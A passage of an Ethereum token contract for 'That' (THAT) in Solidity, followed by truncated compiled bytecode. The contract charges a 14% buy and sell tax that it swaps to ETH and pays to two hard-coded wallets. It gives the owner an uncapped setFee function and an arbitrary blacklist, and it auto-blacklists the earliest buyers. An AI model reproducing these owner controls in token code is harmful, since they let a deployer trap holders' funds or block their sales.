constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract That is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "That";//
string private constant _symbol = "THAT";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 14;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 14;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xc7449bdbFfBA7eEC4b9B9EAb4964B7f0CF5ab292);//
address payable private _marketingAddress = payable(0x2aeDF37F3953b35432Bd4EE558c72dF56E6f1522);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 66000000 * 10**9; //
uint256 public _maxWalletSize = 125000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280600481526020017f5468617400000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600481526020017f5448415400000000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6001600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461